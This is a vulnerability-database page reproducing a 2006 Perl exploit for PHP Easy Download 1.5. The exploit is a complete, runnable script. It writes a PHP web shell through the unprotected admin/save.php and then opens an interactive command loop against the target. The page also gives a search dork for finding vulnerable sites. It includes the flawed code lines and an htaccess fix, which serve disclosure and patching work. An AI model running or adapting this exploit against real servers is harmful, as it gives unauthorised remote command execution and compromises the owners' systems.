Lucene search
K

PHP Easy Downloader <= 1.5 (save.php) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

A PHP Easy Downloader vulnerability allows remote code executio

Code

                                                #!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + PHP Easy Download &#60;= 1.5 Remote Code Execution Vulnerability
# +-------------------------------------------------------------------------------------------
# + Affected Software .: PHP Easy Download &#60;= 1.5
# + Vendor ............: http://www.ironclad.net/
# + Download ..........: http://ironclad.net/scripts/PHP_Easy_Download.zip
# + Description .......: &#34;PHP Easy Download is an easy to use and convenient download script&#34;
# + Dork ..............: &#34;PHP Easy Downloader&#34;
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: nuffsaid &#60;nuffsaid[at]newbslove.us&#62;
# +-------------------------------------------------------------------------------------------
# + Details:
# + PHP Easy Download by default installation doesn&#39;t prevent any of the files in the
# + file_info/admin directory from being accessed by a client. The file_info/admin/save.php
# + file takes input passed to the script by $_POST and writes it to $_POST[&#34;filename&#34;].0
# + unsanatized in the file_info/admin/descriptions directory.
# +
# + Vulnerable Code: 
# + file_info/admin/save.php, line(s) 14-36:
# + -&#62; 14: $filename = $_POST[&#34;filename&#34;];
# + -&#62; 15: $description = $_POST[&#34;description&#34;];
# + -&#62; 20: $path = &#34;../descriptions/$filename.0&#34;;
# + -&#62; 30: $content = &#34;$accesses|$description|$moreinfo|$date&#34;;
# + -&#62; 34: $newfile = fopen($path,&#34;w&#34;);
# + -&#62; 35: fwrite($newfile, $content);
# + -&#62; 36: fclose($newfile);
# + 
# + Solution:
# + Prevent users from accessing any of the files in the file_info directory (htaccess).
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$code = &#34;&#60;?php passthru(\$_GET[cmd]); ?&#62;&#34;;

main();

sub usage
{
    print &#34;\nPHP Easy Download &#60;= 1.5 Remote Code Execution Exploit\n&#34;;
    print &#34;-h, --host\ttarget host\t(example.com)\n&#34;;
    print &#34;-f, --file\tshell file\t(shell.php)\n&#34;;
    print &#34;-d, --dir\tinstall dir\t(/file_info)\n&#34;;
    exit;
}

sub main
{
    GetOptions (&#39;h|host=s&#39; =&#62; \$host,&#39;f|file=s&#39; =&#62; \$file,&#39;d|dir=s&#39; =&#62; \$dir);
    usage() unless $host;
    
    $dir = &#34;/file_info&#34; unless $dir;
    $file = &#34;shell.php&#34; unless $file;
    uri_escape($cmd);
    $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;,PeerAddr=&#62;&#34;$host&#34;,PeerPort=&#62;&#34;80&#34;)
     or die &#34;\nconnect() failed.\n&#34;;
    
    print &#34;\nconnected to &#34;.$host.&#34;, sending data.\n&#34;;
    $sendurl = &#34;description=0&moreinfo=&#34;.$code.&#34;&accesses=0&filename=&#34;.$file.&#34;&date=&B1=Submit&#34;;
    $sendlen = length($sendurl);
    print $sock &#34;POST &#34;.$dir.&#34;/admin/save.php HTTP/1.1\n&#34;;
    print $sock &#34;Host: &#34;.$host.&#34;\n&#34;;
    print $sock &#34;Connection: close\n&#34;;
    print $sock &#34;Content-Type: application/x-www-form-urlencoded\n&#34;;
    print $sock &#34;Content-Length: &#34;.$sendlen.&#34;\n\n&#34;;
    print $sock $sendurl;
    print &#34;attempted to create php shell, server response:\n\n&#34;;
    while($recvd = &#60;$sock&#62;)
    {
        print &#34; &#34;.$recvd.&#34;&#34;;
    }
    
    while($cmd !~ &#34;~quit&#34;)
    {
        print &#34;\n\n-&#62; &#34;;
        $cmd = &#60;STDIN&#62;;
        if ($cmd !~ &#34;~quit&#34;)
        {
          $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;,PeerAddr=&#62;&#34;$host&#34;,PeerPort=&#62;&#34;80&#34;)
           or die &#34;connect() failed.\n&#34;;
          $sendurl = uri_escape($cmd);
          
          print $sock &#34;GET &#34;.$dir.&#34;/descriptions/&#34;.$file.&#34;.0?cmd=&#34;.$sendurl.&#34; HTTP/1.1\n&#34;;
          print $sock &#34;Host: &#34;.$host.&#34;\n&#34;;
          print $sock &#34;Accept: */*\n&#34;;
          print $sock &#34;Connection: close\n\n&#34;;
          print &#34;\n&#34;;
          
          while($recvd = &#60;$sock&#62;)
          {
              print $recvd;
          }
        }
    }
    exit;
}

# milw0rm.com [2006-11-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation